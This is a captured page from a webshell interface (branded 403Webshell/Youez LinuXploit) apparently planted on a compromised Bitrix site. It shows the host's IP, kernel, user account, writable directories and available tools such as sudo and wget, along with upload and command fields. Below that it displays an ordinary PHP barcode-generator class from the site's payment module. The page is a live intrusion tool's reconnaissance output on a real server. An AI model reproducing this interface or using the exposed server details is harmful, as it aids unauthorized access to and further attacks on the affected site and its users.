403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/lib/paysystem/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/lib/paysystem/barcodegenerator.php
<?php

namespace Bitrix\Sale\PaySystem;

use Bitrix\Main\Loader;
use Bitrix\UI\Barcode\Barcode;
use Bitrix\UI\Barcode\BarcodeDictionary;

class BarcodeGenerator
{
	private Barcode $barcode;

	private const DEFAULT_W = 380;
	private const DEFAULT_H = 380;
	private const DEFAULT_P = 0;
	private const DEFAULT_WQ = 0;

	public function __construct(?array $options = null)
	{
		if ($this->includeUiModule())
		{
			$this->createBarcode($options);
		}
	}

	private function createBarcode(?array $options = null): void
	{
		$options =
			is_null($options)
				? [
					'w' => self::DEFAULT_W,
					'h' => self::DEFAULT_H,
					'p' => self::DEFAULT_P,
					'wq' => self::DEFAULT_WQ,
				]
				: array_intersect_key($options, array_flip(self::getAllowedOptions()))
		;

		$this->barcode = new Barcode();
		$this->barcode
			->type(BarcodeDictionary::TYPE_QR)
			->format(BarcodeDictionary::FORMAT_PNG)
			->options($options)
		;
	}

	private static function getAllowedOptions(): array
	{
		return [
			'w',
			'h',
			'p',
			'wq',
		];
	}

	public function generate(string $data): ?string
	{
		$renderData = null;

		if ($this->includeUiModule())
		{
			$renderData = $this->barcode->render($data);
		}

		return $renderData ?: null;
	}

	private function includeUiModule(): bool
	{
		return Loader::includeModule('ui');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit